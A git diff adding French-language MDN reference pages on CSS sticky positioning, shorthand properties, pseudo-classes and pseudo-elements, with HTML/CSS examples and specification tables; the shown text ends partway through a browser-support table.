+  position: sticky;
+  top: 10px;
+}</pre>
+
+<p>se comportera comme un élément positionné de façon relative jusqu'à ce que le <em>viewport</em> défile au point où l'élément est à moins de 10 pixels du haut. Ensuite, il sera fixé à 10 pixels du haut, jusqu'à ce que le <em>viewport</em> redéfile jusqu'avant ce seuil.</p>
+
+<p>Le positionnement adhérent est souvent utilisé pour gérer les niveaux de titre dans les listes alphabétiques. Le titre pour B apparaîtra sous les éléments commençant par A jusqu'à ce que ceux-ci disparaissent de l'écran. Plutôt que de défiler avec le reste de l'écran, la lettre B restera affichée en haut du <em>viewport</em> jusqu'à ce que tous les éléments commençant par B aient défilés sur l'écran (ce sera ensuite le tour de la lettre C et ainsi de suite).</p>
+
+<p>Il faut définir un seuil avec au moins {{cssxref("top")}} ou {{cssxref("right")}} ou {{cssxref("bottom")}} ou {{cssxref("left")}} pour que le positionnement adhérent fonctionne comme attendu. Sinon, on ne pourra pas le distinguer du positionnement relatif.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;div&gt;
+    &lt;dt&gt;A&lt;/dt&gt;
+    &lt;dd&gt;Andrew W.K.&lt;/dd&gt;
+    &lt;dd&gt;Apparat&lt;/dd&gt;
+    &lt;dd&gt;Arcade Fire&lt;/dd&gt;
+    &lt;dd&gt;At The Drive-In&lt;/dd&gt;
+    &lt;dd&gt;Aziz Ansari&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;C&lt;/dt&gt;
+    &lt;dd&gt;Chromeo&lt;/dd&gt;
+    &lt;dd&gt;Common&lt;/dd&gt;
+    &lt;dd&gt;Converge&lt;/dd&gt;
+    &lt;dd&gt;Crystal Castles&lt;/dd&gt;
+    &lt;dd&gt;Cursive&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;E&lt;/dt&gt;
+    &lt;dd&gt;Explosions In The Sky&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;T&lt;/dt&gt;
+    &lt;dd&gt;Ted Leo &amp; The Pharmacists&lt;/dd&gt;
+    &lt;dd&gt;T-Pain&lt;/dd&gt;
+    &lt;dd&gt;Thrice&lt;/dd&gt;
+    &lt;dd&gt;TV On The Radio&lt;/dd&gt;
+    &lt;dd&gt;Two Gallants&lt;/dd&gt;
+  &lt;/div&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css">* {
+  box-sizing: border-box;
+}
+dl &gt; div {
+  margin: 0;
+  padding: 24px 0 0 0;
+}
+
+dt {
+  background: #B8C1C8;
+  border-bottom: 1px solid #989EA4;
+  border-top: 1px solid #717D85;
+  color: #FFF;
+  font: bold 18px/21px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 2px 0 0 12px;
+  position: -webkit-sticky;
+  position: sticky;
+  width: 99%;
+  top: -1px;
+}
+
+dd {
+  font: bold 20px/45px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 0 0 0 12px;
+  white-space: nowrap;
+}
+
+dd + dd {
+  border-top: 1px solid #CCC;
+}
+</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample('Positionnement_adhérent_(sticky)', '500px', '300px')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Il faut s'assurer que les éléments positionnés avec <code>absolute</code> ou <code>fixed</code> ne masquent pas d'autre contenu sur la page lorsqu'on zoome sur la page afin d'augmenter la taille du texte.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener"><em>Visual Presentation: Understanding SC 1.4.8 | Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h3 id="Performance_et_accessibilité">Performance et accessibilité</h3>
+
+<p>Les éléments qui défilent avec du contenu utilisant <code>fixed</code> ou <code>sticky</code> peuvent entraîner des problèmes de performance et d'accessibilité. Lorsque l'utilisateur fait défiler le contenu, le navigateur doit « repeindre » le contenu adhérant ou fixé à un nouvel emplacement. Selon le contenu qui doit être repeint, les performances du navigateur et celles de l'appareil, il est possible que le contenu ne soit pas affiché de façon fluide (60fps), créant ainsi des saccades. Une solution consiste à ajouter <code>will-change: transform</code> (cf. {{cssxref("will-change")}}) aux éléments positionnés afin que le rendu de l'élément soit géré à part, améliorant ainsi les performances et l'accessibilité.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#propdef-position', 'position')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Positioning','#position-property','position')}}</td>
+   <td>{{Spec2('CSS3 Positioning')}}</td>
+   <td>Ajout de la valeur <code>sticky</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.position")}}</p>
diff --git a/files/fr/web/css/propriétés_raccourcies/index.html b/files/fr/web/css/propriétés_raccourcies/index.html
new file mode 100644
index 0000000000..6c390b9dc8
--- /dev/null
+++ b/files/fr/web/css/propriétés_raccourcies/index.html
@@ -0,0 +1,155 @@
+---
+title: Propriétés raccourcies
+slug: Web/CSS/Propriétés_raccourcies
+tags:
+  - CSS
+  - Guide
+  - Reference
+translation_of: Web/CSS/Shorthand_properties
+---
+<div>{{CSSRef}}</div>
+
+<p><dfn>Les propriétés raccourcies sont des propriétés CSS qui permettent de définir la valeur de plusieurs propriétés via une seule déclaration. En manipulant des propriétés raccourcies, un développeur web peut créer des feuilles de style plus concises et plus lisibles, améliorant ainsi la maintenabilité</dfn>.</p>
+
+<p>La spécification CSS définit les propriétés raccourcies en regroupant la définition des propriétés agissant sur le même aspect de l'élément. Ainsi, la propriété {{cssxref("background")}} est une propriété raccourcie qui permettra de définir {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}} et {{cssxref("background-position")}}. De même, les propriétés fréquemment utilisées pour la mise en forme des polices de caractères (<em>font</em>) peuvent être définies via la propriété raccourcie {{cssxref("font")}} et celles qui concernent la marge avec la propriété raccourcie {{cssxref("margin")}}.</p>
+
+<h2 id="Quelques_cas_aux_limites_épineux">Quelques cas aux limites épineux</h2>
+
+<p>Bien que les propriétés raccourcies soient pratiques à utiliser. Il est nécessaire de noter certains éléments pour parer aux cas étranges qui peuvent survenir :</p>
+
+<ol>
+ <li>Une valeur qui n'est pas définie pour la propriété raccourcie <strong>sera réinitialisée avec sa valeur initiale</strong>. Cela peut sembler anecdotique mais attention aux valeurs qui seront surchargées et à l'ordre des déclarations. Ainsi :
+
+  <pre class="brush:css notranslate">background-color: red;
+background: url(images/bg.gif) no-repeat top right;
+</pre>
+  ne définira pas la couleur d'arrière-plan en rouge mais avec la valeur par défaut de {{cssxref("background-color")}} <code>transparent</code> car la deuxième déclaration prend le pas sur la première.</li>
+ <li>L'héritage des propriétés ne peut avoir lieu qu'avec les propriétés individuelles . En effet, les valeurs absentes sont remplacées par leurs valeurs initiales et il est donc impossible d'hériter des valeurs en les omettant. Le mot-clé {{cssxref("inherit")}} pourra être appliqué à une propriété mais ce sera sur l'ensemble et non pour une valeur donnée ou une autre. Ainsi, pour utiliser une valeur héritée sur une propriété spécifique, il faudra utiliser cette propriété « longue » avec le mot-clé <code>inherit.</code></li>
+ <li>Les propriétés raccourcies n'ont pas d'ordre spécifique pour trier les valeurs des propriétés détaillées qu'elles remplacent. Cela fonctionne sans problème lorsque les différentes propriétés utilisent différents types de valeurs car l'ordre n'a alors aucune importance. Toutefois, lorsque les différentes propriétés peuvent prendre les mêmes valeurs, cela n'est pas si simple. On peut regrouper les différents cas en deux catégories distinctes :
+  <ol>
+   <li>Les propriétés raccourcies qui gèrent les bords d'une boîte telles que {{cssxref("border-style")}}, {{cssxref("margin")}} ou {{cssxref("padding")}}. Elles utilisent une méthode constante selon qu'elles reçoivent 1 à 4 valeurs :
+    <table>
+     <tbody>
+      <tr>
+       <td style="width: 79px;"><img alt="border1.png" src="/files/3646/border1.png"></td>
+       <td><em>1 valeur </em>: <code>border-width: 1em</code> — La valeur unique s'adresse à tous les côtés.</td>
+      </tr>
+      <tr>
+       <td><img alt="border2.png" src="/files/3647/border2.png"></td>
+       <td><em>2 valeurs </em>: <code>border-width: 1em 2em</code> — La première valeur représente les côtés horizontaux en haut et en bas. La seconde valeur représente les côtés verticaux, à gauche et à droite.</td>
+      </tr>
+      <tr>
+       <td><img alt="border3.png" src="/files/3648/border3.png"></td>
+       <td><em>3 valeurs </em>: <code>border-width: 1em 2em 3em</code> — La première valeur représente le côté haut, la deuxième les côtés gauche et droit et la troisième représente le côté bas.</td>
+      </tr>
+      <tr>
+       <td><img alt="border4.png" src="/files/3649/border4.png"></td>
+       <td>
+        <p><em>4 valeurs </em>: <code>border-width: 1em 2em 3em 4em</code> — Les quatre valeurs représentent respectivement le côté haut, le côté droit, le côté bas et le côté haut, toujours dans cet ordre (le sens horaire).</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </li>
+   <li>De la même façon, les propriétés raccourcies relatives aux coins d'une boîte comme {{cssxref("border-radius")}} utilisent une méthode constante selon qu'elles reçoivent 1 à 4 valeurs :
+    <table>
+     <tbody>
+      <tr>
+       <td style="width: 69px;"><img alt="corner1.png" src="/files/3650/corner1.png"></td>
+       <td><em>1 valeur </em>: <code>border-radius: 1em</code> — La valeur s'applique à tous les coins.</td>
+      </tr>
+      <tr>
+       <td><img alt="corner2.png" src="/files/3651/corner2.png"></td>
+       <td><em>2 valeurs </em>: <code>border-radius: 1em 2em</code> — La première valeur s'applique aux coins en haut à gauche et en bas à droite et la deuxième s'applique aux coins en haut à droite et en bas à gauche.</td>
+      </tr>
+      <tr>
+       <td><img alt="corner3.png" src="/files/3652/corner3.png"></td>
+       <td><em>3 valeurs </em>: <code>border-radius: 1em 2em 3em</code> — La première valeur représente le coin en haut à gauche, la deuxième représente les coins en haut à droite et en bas à gauche et la troisième valeur représente le coin en bas à droite.</td>
+      </tr>
+      <tr>
+       <td><img alt="corner4.png" src="/files/3653/corner4.png"></td>
+       <td>
+        <p><em>4 valeurs </em>: <code>border-radius: 1em 2em 3em 4em</code> — Les quatre valeurs s'appliquent respectivement au coin en haut à gauche, en haut à droite, en bas à droite et en bas à gauche, toujours dans cet ordre (le sens horaire).</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Les_propriétés_concernant_larrière-plan">Les propriétés concernant l'arrière-plan</h2>
+
+<p>Lorsqu'on décrit un arrière-plan avec les propriétés suivantes :</p>
+
+<pre class="brush:css notranslate">background-color: #000;
+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: top right;</pre>
+
+<p>On peut le faire de façon plus concise grâce à la propriété raccourcie. Voici la déclaration équivalent :</p>
+
+<pre class="brush:css notranslate">background: #000 url(images/bg.gif) no-repeat top right;</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour être tout à fait précis, la forme raccourcie présentée juste avant est équivalente aux propriétés détaillées qui précèdent auxquelles on ajoute <code>background-attachment: scroll</code> et d'autres propriétés avec CSS3).</p>
+</div>
+
+<p>Pour plus d'informations, voir {{cssxref("background")}}.</p>
+
+<h2 id="Les_propriétés_liées_à_la_police_font">Les propriétés liées à la police (<em>font</em>)</h2>
+
+<p>Les déclarations suivantes :</p>
+
+<pre class="brush:css notranslate">font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;</pre>
+
+<p>Peuvent être synthétisées en une seule déclaration avec la propriété raccourcie :</p>
+
+<pre class="brush:css notranslate">font: italic bold .8em/1.2 Arial, sans-serif;</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour être tout à fait précis, la déclaration raccourcie précédente est équivalente aux déclarations détaillées ci-avant auxquelles on ajoutera <code>font-variant: normal</code> et <code>font-size-adjust: none</code> (CSS2.0 / CSS3), <code>font-stretch: normal</code> (CSS3).</p>
+</div>
+
+<h2 id="Les_propriétés_liées_aux_bordures">Les propriétés liées aux bordures</h2>
+
+<p>Avec les bordures, la largeur, la couleur et le style peuvent être regroupés en une seule déclaration. Par exemple,</p>
+
+<pre class="brush:css notranslate">border-width: 1px;
+border-style: solid;
+border-color: #000;</pre>
+
+<p>peut être écrit ainsi :</p>
+
+<pre class="brush:css notranslate">border: 1px solid #000;</pre>
+
+<h2 id="Les_propriétés_liées_à_la_marge_et_au_remplissage_padding">Les propriétés liées à la marge et au remplissage (<em>padding</em>)</h2>
+
+<p>Les propriétés raccourcies agissant sur la boîte de marge ou sur la boîte de remplissage (<em>padding</em>) fonctionnent de la même façon. Ainsi, les déclarations CSS suivantes :</p>
+
+<pre class="brush:css notranslate">margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;</pre>
+
+<p>sont équivalentes à la déclaration qui suit (on notera que les valeurs sont ordonnés dans le sens horaire : haut, droit, bas, gauche ; un moyen mnémotechnique est d'utiliser l'acronyme anglais TRBL qui ressemble à <em>trouble</em>) :</p>
+
+<pre class="brush:css notranslate">margin: 10px 5px 10px 5px;</pre>
+
+<h2 id="La_propriété_raccourcie_universelle">La propriété raccourcie universelle</h2>
+
+<p>CSS fournit une propriété raccourcie qui permet d'appliquer une même valeur à l'ensemble des propriétés du document : {{cssxref("all")}}.</p>
+
+<p>Voir l'article sur <a href="/fr/Apprendre/CSS/Introduction_à_CSS/La_cascade_et_l_héritage">la cascade et l'héritage</a> pour plus d'informations sur le fonctionnement de l'héritage.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></li>
+ <li>Les propriétés raccourcies : {{cssxref("animation")}}, {{cssxref("background")}}, {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}, {{cssxref("border-left")}}, {{cssxref("border-radius")}}, {{cssxref("border-right")}}, {{cssxref("border-style")}}, {{cssxref("border-top")}}, {{cssxref("border-width")}}, {{cssxref("column-rule")}}, {{cssxref("columns")}}, {{cssxref("flex")}}, {{cssxref("flex-flow")}}, {{cssxref("font")}}, {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("grid-template")}}, {{cssxref("list-style")}}, {{cssxref("margin")}}, {{cssxref("offset")}}, {{cssxref("outline")}}, {{cssxref("overflow")}}, {{cssxref("padding")}}, {{cssxref("place-content")}}, {{cssxref("place-items")}}, {{cssxref("place-self")}}, {{cssxref("text-decoration")}}, {{cssxref("transition")}}</li>
+</ul>
diff --git a/files/fr/web/css/pseudo-classes/index.html b/files/fr/web/css/pseudo-classes/index.html
new file mode 100644
index 0000000000..8c7425003c
--- /dev/null
+++ b/files/fr/web/css/pseudo-classes/index.html
@@ -0,0 +1,205 @@
+---
+title: Pseudo-classes
+slug: Web/CSS/Pseudo-classes
+tags:
+  - CSS
+  - Intermédiaire
+  - Pseudo-classe
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/Pseudo-classes
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Une <strong>pseudo-classe</strong> est un mot-clé qui peut être ajouté à un sélecteur afin d'indiquer l'état spécifique dans lequel l'élément doit être pour être ciblé par la déclaration. La pseudo-classe {{cssxref(":hover")}}, par exemple, permettra d'appliquer une mise en forme spécifique lorsque l'utilisateur survole l'élément ciblé par le sélecteur (changer la couleur d'un bouton par exemple).</p>
+
+<pre class="brush: css no-line-numbers">div:hover {
+  background-color: #F89B4D;
+}</pre>
+
+<p>Les pseudo-classes permettent d'appliquer un style à un élément non seulement en fonction de son contenu dans l'arbre du document mais aussi en fonction de facteurs externes (l'historique de navigation par exemple avec {{cssxref(":visited")}} ; le statut du contenu avec {{cssxref(":checked")}} ; la position de la souris {{cssxref(":hover")}}).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> À la différence des pseudo-classes, <a href="/fr/docs/Web/CSS/Pseudo-%C3%A9l%C3%A9ments">les pseudo-éléments</a> peuvent être utilisés afin d'appliquer un style sur une certaine partie d'un élément.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">sélecteur:pseudo-classe {
+  propriété: valeur;
+}
+</pre>
+
+<p>À l'instar des classes, on peut chaîner plusieurs pseudo-classes au sein d'un sélecteur.</p>
+
+<h2 id="Liste_des_pseudo-classes_standards">Liste des pseudo-classes standards</h2>
+
+<div class="index" id="index">
+<ul>
+ <li>{{CSSxRef(":active")}}</li>
+ <li>{{CSSxRef(":any-link")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":blank")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":checked")}}</li>
+ <li>{{CSSxRef(":current")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":default")}}</li>
+ <li>{{CSSxRef(":defined")}}</li>
+ <li>{{CSSxRef(":dir", ":dir()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":disabled")}}</li>
+ <li>{{CSSxRef(":drop")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":empty")}}</li>
+ <li>{{CSSxRef(":enabled")}}</li>
+ <li>{{CSSxRef(":first")}}</li>
+ <li>{{CSSxRef(":first-child")}}</li>
+ <li>{{CSSxRef(":first-of-type")}}</li>
+ <li>{{CSSxRef(":fullscreen")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":future")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus")}}</li>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus-within")}}</li>
+ <li>{{CSSxRef(":has", ":has()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":host")}}</li>
+ <li>{{CSSxRef(":host()")}}</li>
+ <li>{{CSSxRef(":host-context()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":hover")}}</li>
+ <li>{{CSSxRef(":indeterminate")}}</li>
+ <li>{{CSSxRef(":in-range")}}</li>
+ <li>{{CSSxRef(":invalid")}}</li>
+ <li>{{CSSxRef(":is")}} {{Experimental_inline}}</li>
+ <li>{{CSSxRef(":lang", ":lang()")}}</li>
+ <li>{{CSSxRef(":last-child")}}</li>
+ <li>{{CSSxRef(":last-of-type")}}</li>
+ <li>{{CSSxRef(":left")}}</li>
+ <li>{{CSSxRef(":link")}}</li>
+ <li>{{CSSxRef(":local-link")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":not", ":not()")}}</li>
+ <li>{{CSSxRef(":nth-child", ":nth-child()")}}</li>
+ <li>{{CSSxRef(":nth-col", ":nth-col()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":nth-last-child", ":nth-last-child()")}}</li>
+ <li>{{CSSxRef(":nth-last-col", ":nth-last-col()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":nth-last-of-type", ":nth-last-of-type()")}}</li>
+ <li>{{CSSxRef(":nth-of-type", ":nth-of-type()")}}</li>
+ <li>{{CSSxRef(":only-child")}}</li>
+ <li>{{CSSxRef(":only-of-type")}}</li>
+ <li>{{CSSxRef(":optional")}}</li>
+ <li>{{CSSxRef(":out-of-range")}}</li>
+ <li>{{CSSxRef(":past")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":placeholder-shown")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":read-only")}}</li>
+ <li>{{CSSxRef(":read-write")}}</li>
+ <li>{{CSSxRef(":required")}}</li>
+ <li>{{CSSxRef(":right")}}</li>
+ <li>{{CSSxRef(":root")}}</li>
+ <li>{{CSSxRef(":scope")}}</li>
+ <li>{{CSSxRef(":target")}}</li>
+ <li>{{CSSxRef(":target-within")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":user-invalid")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":valid")}}</li>
+ <li>{{CSSxRef(":visited")}}</li>
+ <li>{{CSSxRef(":where", ":where()")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.survol:hover {
+  background-color: palegreen;
+}
+
+p:nth-child(2n+1) {
+  background-color: lime;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="survol"&gt;
+    La Reine devint pourpre de colère ; et après
+    l’avoir considérée un moment avec des yeux
+    flamboyants comme ceux d’une bête fauve, elle
+    se mit à crier : « Qu’on lui coupe la tête ! »
+  &lt;/p&gt;
+  &lt;p&gt;
+    « Quelle idée ! » dit Alice très-haut et d’un
+    ton décidé. La Reine se tut.
+  &lt;/p&gt;
+  &lt;p&gt;
+    Le Roi lui posa la main sur le bras, et lui
+    dit timidement : « Considérez donc, ma chère
+    amie, que ce n’est qu’une enfant. »
+  &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","250","350")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fullscreen')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Définition de <code>:fullscreen</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#pseudo-classes')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définit lorsque des sélecteurs particuliers correspondent à des éléments HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>
+    <p>Définition de <code>:any-link</code>, <code>:local-link</code>, <code>:scope</code>, <code>:active-drop-target</code>, <code>:valid-drop-target</code>, <code>:invalid-drop-target</code>, <code>:current</code>, <code>:past</code>, <code>:future</code>, <code>:placeholder-shown</code>, <code>:user-error</code>, <code>:blank</code>, <code>:nth-match()</code>, <code>:nth-last-match()</code>, <code>:nth-column()</code>, <code>:nth-last-column()</code> et <code>:matches()</code>.</p>
+
+    <p>Changement afin que <code>:empty</code> se comporte comme {{CSSxRef(":-moz-only-whitespace")}} {{Non-standard_Inline}}.</p>
+
+    <p>Aucune modification significative pour les pseudo-classes définies avec {{SpecName('CSS3 Selectors')}} et {{SpecName('HTML5 W3C')}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Copie les éléments pertinents de la spécification HTML WHATWG</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Définition de <code>:default</code>, <code>:valid</code>, <code>:invalid</code>, <code>:in-range</code>, <code>:out-of-range</code>, <code>:required</code>, <code>:optional</code>, <code>:read-only</code> et <code>:read-write</code>, mais sans la sémantique associée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition de <code>:target</code>, <code>:root</code>, <code>:nth-child()</code>, <code>:nth-last-of-child()</code>, <code>:nth-of-type()</code>, <code>:nth-last-of-type()</code>, <code>:last-child</code>, <code>:first-of-type</code>, <code>:last-of-type</code>, <code>:only-child</code>, <code>:only-of-type</code>, <code>:empty</code> et <code>:not()</code>.<br>
+    Définition de la syntaxe pour <code>:enabled</code>, <code>:disabled</code>, <code>:checked</code> et <code>:indeterminate</code>, mais sans la sémantique associée.<br>
+    Pas de modification significative pour les pseudo-classes définies avec {{SpecName('CSS2.1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition de <code>:lang()</code>, <code>:first-child</code>, <code>:hover</code> et <code>:focus</code>.<br>
+    Aucune modification significative pour les pseudo-classes définies avec  {{SpecName('CSS1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition de <code>:link</code>, <code>:visited</code> et <code>:active</code>, mais sans la sémantique associée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Pseudo-%C3%A9l%C3%A9ments">Les pseudo-éléments</a></li>
+</ul>
diff --git a/files/fr/web/css/pseudo-éléments/index.html b/files/fr/web/css/pseudo-éléments/index.html
new file mode 100644
index 0000000000..4f9ce9eeb9
--- /dev/null
+++ b/files/fr/web/css/pseudo-éléments/index.html
@@ -0,0 +1,132 @@
+---
+title: Pseudo-éléments
+slug: Web/CSS/Pseudo-éléments
+tags:
+  - CSS
+  - Pseudo-element
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/Pseudo-elements
+---
+<div>{{CSSRef}}</div>
+
+<p>Un <strong>pseudo-élément</strong> est un mot-clé ajouté à un sélecteur qui permet de mettre en forme certaines parties de l'élément ciblé par la règle. Ainsi, le pseudo-élément {{cssxref("::first-line")}} permettra de ne cibler que la première ligne d'un élément visé par le sélecteur.</p>
+
+<pre class="brush: css no-line-numbers">/* La première ligne de chaque élément &lt;p&gt;. */
+p::first-line {
+  color: blue;
+  text-transform: uppercase;
+}
+</pre>
+
+
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> À la différence des pseudo-éléments, <a href="/fr/docs/Web/CSS/Pseudo-classes">les pseudo-classes</a> peuvent être utilisées afin de mettre en forme un élément en fonction de son état.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">sélecteur::pseudo-élément {
+  propriété: valeur;
+}</pre>
+
+<p>On ne peut utiliser qu'un seul pseudo-élément dans un sélecteur. Le pseudo-élément doit apparaître après les sélecteurs simple de la déclaration</p>
+
+<p>Depuis CSS3, on utilise deux fois le caractère deux-points (:) pour préfixer les pseudo-éléments (afin de pouvoir les différencier des pseudo-classes). Toutefois, la plupart des navigateurs prennent en charge les pseudo-éléments pour lesquels le préfixe n'est formé que d'un seul « : ».</p>
+
+<h2 id="Liste_des_pseudo-éléments">Liste des pseudo-éléments</h2>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("::after", "::after (:after)")}}</li>
+ <li>{{CSSxRef("::backdrop")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::before", "::before (:before)")}}</li>
+ <li>{{CSSxRef("::cue", "::cue (:cue)")}}</li>
+ <li>{{CSSxRef("::first-letter", "::first-letter (:first-letter)")}}</li>
+ <li>{{CSSxRef("::first-line", "::first-line (:first-line)")}}</li>
+ <li>{{CSSxRef("::grammar-error")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::marker")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::part")}} {{Experimental_inline}}</li>
+ <li>{{CSSxRef("::placeholder")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::selection")}}</li>
+ <li>{{CSSxRef("::slotted", "::slotted()")}}</li>
+ <li>{{CSSxRef("::spelling-error")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p::first-line {
+  color: blue;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  C’était le Lapin Blanc qui revenait en trottinant,
+  et qui cherchait de tous côtés, d’un air inquiet,
+  comme s’il avait perdu quelque chose ; Alice
+  l’entendit qui marmottait : « La Duchesse ! La
+  Duchesse ! Oh ! mes pauvres pattes ; oh ! ma robe
+  et mes moustaches ! Elle me fera guillotiner aussi
+  vrai que des furets sont des furets ! Où pourrais-je
+  bien les avoir perdus ? » Alice devina tout de suite
+  qu’il cherchait l’éventail et la paire de gants paille,
+  et, comme elle avait bon cœur, elle se mit à les
+  chercher aussi ; mais pas moyen de les trouver.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 250, 200)}}</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Version minimale</th>
+   <th>Prise en charge de :</th>
+  </tr>
+  <tr>
+   <td rowspan="2">Internet Explorer</td>
+   <td>8.0</td>
+   <td><code>:pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>9.0</td>
